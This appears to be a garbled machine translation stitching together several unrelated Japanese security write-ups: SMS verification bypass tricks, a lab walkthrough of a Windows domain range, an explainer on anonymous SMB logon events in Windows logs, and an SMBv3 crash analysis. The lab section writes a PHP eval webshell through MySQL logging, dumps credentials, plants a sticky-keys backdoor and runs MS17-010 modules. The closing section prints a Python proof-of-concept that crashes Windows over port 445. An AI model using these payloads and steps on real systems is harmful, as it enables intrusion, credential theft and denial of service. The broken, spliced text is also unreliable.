1。パラメーター汚染バイパスパラメーター汚染、つまり、背景にテキストメッセージを送信するとき、数の一部が取得されます。他の文字を混ぜると、送信された携帯電話番号の制限の確認をバイパスします:1049983-20230406203235605-677102358.jpg2。可変汚染は、いわゆる可変汚染をバイパスします。おそらく、背景が最初の変数のコンテンツをチェックし、値として扱われますが、データパケットが背景に渡されると、パラメーター名が同じ場合、2番目、3番目、4番目、および最後のパラメーターがベンチマークとして渡されるため、バックエンドの制限は:01011049983-20230406203237344-2127976321.jpg3に渡されます。携帯電話番号をバイパスするデータ長の定義は11桁ですが、背景は、123=0123=00123などの送信された携帯電話番号の長さを確認しません。この方法は、携帯電話番号をバイパスするために使用されます。確認コードを送信するとき、フロントエンドは状態をもたらします。この状態を変更することにより、システムの制限をバイパスできます。たとえば、登録されたユーザーはテキストメッセージを送信することはできません。反対に、未登録のユーザーはテキストメッセージを送信できません。フレーズはTrue 1049983-20230406203238839-1649026213.jpg5に変更されます。クッキーは、薬を変えないようにスープを迂回して置き換えます。 Cookieのユーザーの資格情報を確認します。 Cookieのいくつかのパラメーターを変更することにより、バイパスをバイパスして携帯電話番号を送信/登録してテキストメッセージを送信できます:1049983-20230406203239567-527777944.jpg 1049983-20230406203240335-1564604767.jpg6。 [SPASTバイパスSMS爆撃] [画像なし] SMSを送信するときは11桁ですが、データベースはフィールドの長さを11に制限しません。元の検証はスペースを追加することでバイパスされます。ただし、バックグラウンドで番号を送信すると、有効な文字の前のフィールドが取得されるため、バイパスされた方法が得られます。 7。 8。[APIインターフェイスに基づいて] [写真なし]この脆弱性については、一般に、フロントデスクに携帯電話番号を入力し、リクエスト1を送信して背景に移動して、送信要求を実行できるかどうかを判断します。

2。そうでない場合は、誤ったものまたはエラーを返します。成功した場合は、trueまたは成功を返します。返されたものを見つけてください。

この種の脆弱性は、インターフェイスに記載されている場合があります。

0x00はじめに

以前は、ドメイン環境を使用していたとき、ドメインのホストはネットワークを離れませんでした。当時、ソックスプロキシは、ネットワークホストをエッジホストに残さなかったトラフィックをプロキシに使用していました。当時、私はそれについてあまり考えていませんでした。私が降りた後、私はその時点で状況を再現するために環境を設定し、インストールできないホストを構築するより簡単な方法があるかどうかを確認することを考えました。

たまたま、このドメインの環境はかなり良いことがわかりました。複製プロセス中、いくつかの知識が私の知識の盲点に触れ、多くの新しい知識を獲得しました。私はプロセスを特別に記録し、ドメインにネットワークホストの構築を学びたいマスターと共有しました。

0x01範囲アドレス割り当て

イントラネットセグメント:192.168.52.0/24

外部ネットワークセグメント:192.168.10.0/24

攻撃航空機:

Kali:192.168.10.11

範囲:

Win7(内部):192.168.52.143

Win7(外部):192.168.10.15

ドメインホスト:

winserver2003:192.168.52.141

winserver2008:192.168.52.138

その中で、Win7は外部ネットワークとイントラネットと通信でき、ドメインのホストはイントラネット間でのみ通信できます。

1049983-20220124163901746-2144489756.png 1049983-20220124163902189-1458240487.png 1049983-20220124163902594-1519777036.png

当初、DCPINGはWIN7で動作しません。ファイアウォールを閉じた後、PINGできます。

1049983-20220124163903004-1338279191.png

cドライブの下でphpstudyディレクトリを開くためにWebサービスを開く

1049983-20220124163903593-149325616.png

0x02 Webサーバーの侵入

nmapプローブポート

NMAP -SS -P0 -SV -O 192.168.10.15 1049983-20220124163906230-936810712.png

ポート80を開き、Webアドレスにアクセスしようとしましたが、PHPプローブであることがわかりました

1049983-20220124163906836-164637923.png

下部にスライドして、Webサイトの下部にMySQLデータベース接続検出を見つけます

1049983-20220124163907375-846620892.png

弱いパスワードルート/ルート接続が成功しました

1049983-20220124163907838-986737968.png

背景をスキャン

私はここで剣を使用しますが、この射撃範囲を撮影し終えた後、それらの多くがCMSをスキャンしていることを確認するためにオンラインになったので、それは非常に難しいようです。弱いCMSパスワードを使用して背景を入力してシェルを書き込む方法を示しません。興味があれば、自分で検索できます。

1049983-20220124163908277-241425413.png

phpmyAdminディレクトリがあるか、ルート/ルートログインの弱いパスワードが成功していることがわかりました

1049983-20220124163908735-1590975810.png

入力後のインターフェイスは次のとおりです

1049983-20220124163909352-372133666.png

0x03 phpmyadminを介してシェルを書き込み

phpmyadminを介してシェルを書く方法は2つあります

最初に、Outfileに直接選択するように書き込もうとしましたが、ここのSecure_file_privの値はnullであるため、特権を提起することはできません。

1049983-20220124163909862-667465136.png

別の方法のみを使用し、グローバルログを使用してシェルを書き込みます

「%一般%」のような変数を表示

構成を確認すると、グローバルログが閉じた状態にあることがわかります。 general_log_fileは、ログの絶対アドレスを返します。

1049983-20220124163910268-1724805009.png

次に、最初にそのグローバルログを開き、次にその道にトロイの木馬を書きます

グローバルgeneral_log=on;

1049983-20220124163910682-1879618747.png

グローバルログを開いた後、絶対パスを変更します。ここにピットがあることに注意してください。ログによって返されるパスはC: \\ phpstudy \\ mysql \\ data \ stu1.logですが、mysqlがアクセスする絶対アドレスはc: \\ wwwディレクトリです。

グローバルgeneral_log_file='c: \\ phpstudy \\ www \\ shell.php';

1049983-20220124163911142-676987047.png

これが別の文のトロイの木馬です

'?php eval($ _ post [cmd]);'を選択します

1049983-20220124163911549-1659420760.png

次に、アリの剣をつなぎます

1049983-20220124163911903-1002772197.png

接続が成功していることがわかります

1049983-20220124163912348-1706029029.png

0x03イントラネット情報コレクション

システム許可を確認してください。開始したらすぐに管理者の権限を確保するのは非常に快適です

1049983-20220124163912724-972833949.png

ipconfig /すべてのネットワーク情報を表示、ドメイン環境+デュアルネットワークカード

1049983-20220124163913157-1401831141.png

1049983-20220124163913516-1835974496.png

TaskList /SVCはそれを一時的に見て、イカのようなものはないように思われました。

1049983-20220124163914007-273676775.png

ソフトソフトの殺害はないと考えて、CSによって生成されたTrojan Exeをターゲットホストにアップロードするために、最もシンプルでCrudest CSを使用する方が簡単です。

1049983-20220124163914407-1971344544.png

計画されたタスクを使用してオンラインcsにアクセスします

1049983-20220124163914832-1750744115.png

正常に起動しました

1049983-20220124163915243-66467728.png

0x04イントラネット浸透

情報収集

ネットビュードメイン情報

1049983-20220124163915628-1443883904.png

CSSが提供するポートを使用して、ホストの波をスキャンします

1049983-20220124163916046-1924451041.png

次のようにすべてのホストをスキャンします

1049983-20220124163916412-1448650307.png

ハッシュダンプハッシュの波をキャッチします

1049983-20220124163916769-803218867.png

logonpasswordsは、平易なテキストの波をキャプチャします

1049983-20220124163917209-1566886515.png

すべての資格情報は次のとおりです。コーディングの理由は、前にログインするときにパスワードがリセットされたため、個人情報でパスワードを取得したことです。

1049983-20220124163917586-1840235401.png

考え

ターゲットホストにはファイアウォールが有効になっていないため、ここでテストしました。CSSで構築されたPSEXECを使用して、ドメインコントロールとコンピューターパスワードを水平方向にキャプチャできます。ただし、Win7デュアルネットワークカードやドメイン内の他のホストがネットワークを離れることができない状況を考えると、ホストから抜け出さない方法を練習してください。

一般に、インターネットなしでオンラインに行く方法は次のとおりです。

SMBビーコンを使用して、httpプロキシを介してオンラインでリスナーを構成するpystingerを使用してsmbビーコンメソッドを使用します

SMB

ビーコンは、名前のパイプを使用して、親のビーコンを介して通信します。 2つのビーコンがリンクされると、子供のビーコンは親のビーコンからタスクを取得し、それを送信します。リンクされたビーコンは通信にパイプという名前のウィンドウを使用しているため、このトラフィックはSMBプロトコルにカプセル化されているため、SMB

ビーコンは比較的隠されています。 SMBビーコンは、利用可能な負荷を直接生成することはできません。PSEXECまたはStagelessペイロードを使用してのみ起動できます。

まず、イントラネットのホストのビーコンを取得し、パスワードをつかんでSMBインジェクションを実行し、オープンポート445を使用して別のマシンで管理者アカウントパスワードを取得します。ターゲットマシンがネットワークを離れない場合は、SMBを使用できます

ビーコンはターゲットホストをオンラインでもたらします

1049983-20220124163918064-935605408.png

1。使用条件

SMBビーコンのホストは、ポート445の接続を受け入れる必要があります。同じコバルトストライクインスタンスによって管理されたビーコンへのリンクのみ。このビーコンの水平ムーブメントを使用するには、ターゲットホストに管理者の権利を持つ管理者の権利または資格情報が必要です。 2。使い方

(1)SMBリスナーを作成します

1049983-20220124163918542-2065634361.png

(2)水平方向の動きのためにCSでPSEXECを使用し、既存のビーコンをスプリングボードとして選択します。資格情報は管理者でなければなりません

、つまり、ターゲットホスト管理者の特権を持っています

1049983-20220124163918984-1708931929.png

(3)接続が成功し、SMBビーコンのホストの右側に∞∞ロゴがあることがわかります

この方法を使用して、主にネットワーク発信機を介してオンラインで中間としてオンラインで行くマシン。ネットワークのないホストが正常に起動された後、ネットワークのないホストが切断された場合、ネットワークのないホストも切断されます。

1049983-20220124163919345-1490915206.png

0x05イントラネット水平浸透

考え

ラドンを使用してイントラネットの永遠の青をスキャンし、これらのホストがすべてMS17-010を持っていることがわかります

1049983-20220124163919760-922662305.png

MS17010をプレイするいくつかの一般的な方法:

MSFLADON/LADON_MS17010 MSFから分離されたExessusでこれらの幹部プラグインの方法を試しました。私はプロセスについて一つずつ説明することはありません、私のテストの結果について話してください

MSFは最も安定していますが、監視モジュールをセットアップして攻撃モジュールを選択する必要があるため、戦うのは少し面倒です。 ladon_ms17010は便利ですが、あまり安定していない場合があります。 CSSプラグインは安定しておらず、ネットワークがネットワークなしで安定していない場合、成功率は低くなります。

ネットワークを離れないこの場合、MSFとHITに分離されたEXEとLADON_MS17010を使用することを優先することができます。成功裏に、カスタムDLLを介して新しいユーザーが作成され、管理者グループに参加し、ポート3389を開き、粘着性のあるキーバックドアが残ります。

実際の状況に応じて、適切な期間と条件の下で直接リモートでログインし、機密データをめくることを検討することができます。これは、「パスワードbook.txt」などの運用および保守担当者の多くの「良い習慣」により、多くの侵入に多くの利便性をもたらすことがよくあります。

cs派生MSFセッション

MSFはリスニングポートを設定します

1049983-20220124163920416-31141225.png

新しいポートを作成して会話を作成します

1049983-20220124163920944-1939505415.png

MeterPreterを取得するために実行します

1049983-20220124163921365-1291046948.png

ms_17_010ドメイン制御権限を取得

ここでは、DCがMS_17_010の脆弱性を持っていることを知っているので、最初にEternal Blueを使用してヒットしようとしました。

次のモジュールを使用します

Exploit/Windows/SMB/MS17_010_ETERNALBLUE 1049983-20220124163922189-1365242399.png

実行後、EXPがヒットしたことがわかりましたが、セッションは確立されていません

1049983-20220124163922999-380152774.png

MS17010モジュールを変更します

Exploit/Windows/SMB/MS17_010_PSEXECを使用します

ペイロードWindows/MeterPreter/lind_tcp 1049983-20220124163923559-2136735050.pngを設定します

シェルも手に入れませんでした。当時は注意深く考えていませんでした。後で、Win7が2つのネットワークセグメントにあったためである可能性があると考えたので、Eternal Blueに直接ぶつかることでシェルを取得できませんでした。

1049983-20220124163923989-1404717762.png

MSFは、ネットワークマシンのMS_17_010

を出力できません

以前にMeterPreterをMeterPreterを入手することを考えたので、ルートを追加して試してみました

MSFは、単独で戦うとき、まだ非常に安定しており、香りがあります。 Win7がMSFで発売された後、私たちはすでに5つあることを事前に知っていました

1。概要

1.1ケース

最初に2つの写真を見てみましょう。これらの2つの写真を見ると、これが成功したログインであること、そのタイプはネットワークログインを表す3であり、4624はほとんどの人の場合に成功することを意味します。それで、実際にそれはどうですか?ここには特定のあいまいさがあります。今日は、ここで詳細な詳細を同期します。xufu5o1mv024698.png cb0jpqygzn14699.png

1.2原則

ユーザーがSMBプロトコルを使用して接続すると、ユーザーにパスワードを求めると、匿名ユーザー(つまり、匿名ユーザー)を使用してSMBネットワークを接続し、ネットワークが成功した接続として記録されると使用します。次の条件により、このログが生成されます。

ログインユーザーは匿名です

ログインプロセスはNTLMSSPです

使用法プロトコルはNTLM V1です

ログインプロトコルはSMBです

2。テスト

2.1 SMB接続障害

qzjy14pyv4n4700.png

2.1.1ネットワーク名が見つからない/アクセス拒否

ネット使用を直接使用して、存在しないAAA $の接続を開始し、ネットワーク名が見つからないというエラーが報告されます。正味使用を使用すると、その接続が成功していないこともわかります。

しかし、ログを見てみましょう。ログインを成功させるために4624タイプ3のログを生成することがわかります。これは、匿名のユーザーがネットワークupupko4ilsn4701.png yocmwakq2ao4702.pngに正常にログインしたことを意味します

正しいディレクトリパスを使用しますが、ユーザーを入力しないと、エラーが報告され、アクセスが拒否されます。また、このステータスにより、匿名のユーザーが正常にログインします。タイプ3

03par42ttqq4703.png

2.1.2誤ったユーザー名またはパスワード

誤ったアカウントパスワードでログインすると、ユーザー名またはパスワードが正しくないと報告されます。

f1opbcqdi2v4704.png

この場合、ログに匿名のログイン成功ログはありませんが、4625ログが直接表示され、もちろんログインされたユーザー名も表示されます。

5lj0vdnromi4705.png

2.2 SMBログインに正常に

ログインに正しいアカウントの秘密を使用している場合、ログでどのように機能しますか?

タイプ3のログインが成功したことに加えて、4776(検証資格情報)と4672(ログイン許可割り当て)があります。

ltipnnp2nca4707.png 5ko44x0s35f4708.png

3。要約

攻撃者がSMBを使用して接続する場合、アクセスパスが存在しない場合、またはアカウントが存在しない場合、匿名ユーザー(匿名ユーザー)の4624ログが生成されます。

4624は、必ずしも攻撃者が正常にログインすることを意味するわけではありません。 IPフィールド、TargetUserフィールド、ユーザー、その他多くのフィールドを組み合わせて、ログコンテキストを調べる必要があります。システム認証は4624の高いアラームを生成することがあります(上記のフィールドは意味を表しますが、特定のフィールド名は複雑であり、明確に記憶することはできません)

0x01序文

昨年末、SMBプロトコルを見つけるためにエミュレータが設定されたとき、大企業に対するこのような単純で非常に効果的な攻撃が発見されたことが脆弱性が発見されました。 TL; DR:サービスの拒否エラーにより、BSODプロトコルはWindows 8.1およびWindows Server 2012 R2コンピューターに単一のパケットを送信できます。

0x02テスト環境

影響を受けるシステム:

・Windows8.1(x86)

・Windows Server 2012 R2(x64)

0x03背景知識

この脆弱性の根本原因を理解するには、SMBパケットがどのように構造化されているかを理解する必要があります。 SMBV1プロトコルヘッダーファイルを見てみましょう。

xeocmway1w19113.jpg

44s5jh4u3br9114.jpg

プロトコルフィールドがFFバイトから始まるのを見たように、SMBV2を見てみましょう

yq5b4gjckiz9115.jpg

プロトコルフィールドは現在、FEバイトから始まるので、SMBV3はどうですか? SMBプロトコルのV3バージョンは既に暗号化されており、暗号化された通信にSMB2_Transformの特定のヘッダーを使用します。

h1smrx4s3al9116.jpg

SMBV3セッションの交渉はSMBV2セッションから始まることを公式ドキュメントで学ぶことができるため、SMBV3は常に暗号化されています。 SMBV3セッションをセットアップするときに関係するパケットは次のとおりです。

0r5go5xgak19117.jpg

1〜8バイトのパケットで、SMBヘッダーは次のようになります。

xcn5kjkbaxc9118.jpg

使用されるバイトシーケンスはまだ0xfeであり、これは公式のMicrosoftドキュメントに示されているSMBV2のコードであることがわかります。

バイト9から始まると、暗号化は接続された状態にあり、ヘッダーで使用されるバイトシーケンスは0xfd ioom0ectouz9119.jpgになります

POCでわかるように、最初のセッション中に0xFDヘッダーを備えたSMBパケットがすぐに送信されると、カーネルのクラッシュが発生します。さて、このクラッシュの根本原因を理解するために、クラッシュダンプメカニズムを掘り下げましょう。

0x04ルール原因分析

Windows 8.1(x86)でのみ実行されて根本原因を分析すると、特定のパケットを送信すると、アドレス0x00000030で保護された値(空のページ保護)をメモリから読み取るため、カーネルがクラッシュします。

nr5gtz2ta3s9120.jpg

クラッシュするモジュールは「MRXSMB.SYS」です。これは、Microsoft Server Message Block(SMB)のResizerです。クラッシュの正確な位置はMRXSMBです! SMBWKSRECEIVEEVENT + 8539。[ECX + 30H]からEAXへのオフセットで、ECXの値は0x00000000を指します。 IDAを通るフローを分析するとき、それは次のようになります。パケットを処理し、暗号化が有効になっているかどうかを確認します。

3.0関連

1upoihoyijn9121.jpg

Windbgでは、次のように見えます。

svbwyebslvc9122.jpg

基本的に、暗号化が有効になっているかどうかを確認します。この場合、「エラー」パスに従い、次の関数に移動します。

e4jaczlj3cy9123.jpg

いくつかの比較手順を実行し、2番目の最後の命令は、ECXがHEX値0x34に登録されているかどうかを確認することです。 ECXが0x34以下の場合、この場合にエラーが発生します。

aoxhjlmiwz19124.jpg

「エラー」パスに従って:別の命令が発生します。その場合、レジスタEDX(攻撃者の制御可能な値)が[ESP+4C]の値よりも高い場合、「実際の」パスに従います。

v2pxupnp2gk9125.jpg

さまざまなレジスタの値:

pvec1n0rku59126.jpg

次の命令では、ECXの値を再び0x34に比較します。ECXが0x34よりも高い場合、「実際の」パスに従います

l5z4vxf5hcw9127.jpg

この場合、ECXの値は0x34よりも高いため、実際のパスに従います。次の命令ブロックでは、_MICROSOFT_WINDOWS_SMBCLIENTENABLEBITS '値0x80000000の間の値をテストします。 Windbgでは、テストが「エラー」になることがわかります。これにより、「エラー」パスに従います。

3utaomdequd9128.jpg

常に「真」であるテスト指示を受け入れるように導く

vd4j0yrbiwz9129.jpg

loca0f20e05関数を使用する代わりに、ゼロをスタックの後ろに置きます。その場合、 "loca0f20e15"を実行します。ECX + 30HをEAXに移動する命令で、ECXが0x000000000であるためにクラッシュが発生します。

ljksqoxs5nu9130.jpg

これにより、カーネルがクラッシュし、マシンの再起動を強制します。

0x05 POC

を使用します

Import SocketServer

binasciiからインポートUnexlifyから

ペイロード='000000ECFD534D424141414141414141414141414141414141414141414 141414141414141414141414141414141414141414141414141414141414 141414141414141414141414141414141414141414141414141414141414 1414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141 414141414141414141414141414141414141414141414141414141414141 ''

Class Byebye(socketserver.baserequesthandler):

defハンドル(自己):

try:

'from:'、self.client_addressを印刷します

印刷'[*]ペイロードの送信.'

self.request.send(unsexlify(ペイロード))

例外を除く:

印刷「BSODトリガーオン」、self.client_address

合格

socketserver.tcpserver.allow_reuse_address=1

起動=socketserver.tcpserver(( ''、445)、byebye)

launch.serve_forever()

0x06脆弱性の再発

1。KALIでスクリプトを実行します

3mqsomh0g4m9131.jpg

2.次に、Windows 2012 R2で共有アドレス: \\ 10.0.0.217にアクセスすると、すぐにオペレーティングシステムのブルースクリーンが表示されます。

1.png